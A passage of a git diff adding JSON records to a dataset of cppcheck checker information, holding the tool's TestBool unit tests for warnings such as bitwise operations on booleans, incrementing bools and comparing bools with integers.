ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkIncrementBoolean.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkIncrementBoolean.json new file mode 100644 index 0000000..993e805 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkIncrementBoolean.json @@ -0,0 +1,22 @@ +{ + "name": "checkIncrementBoolean", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 13, + "branches": 4, + "apis": 15, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 972 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) 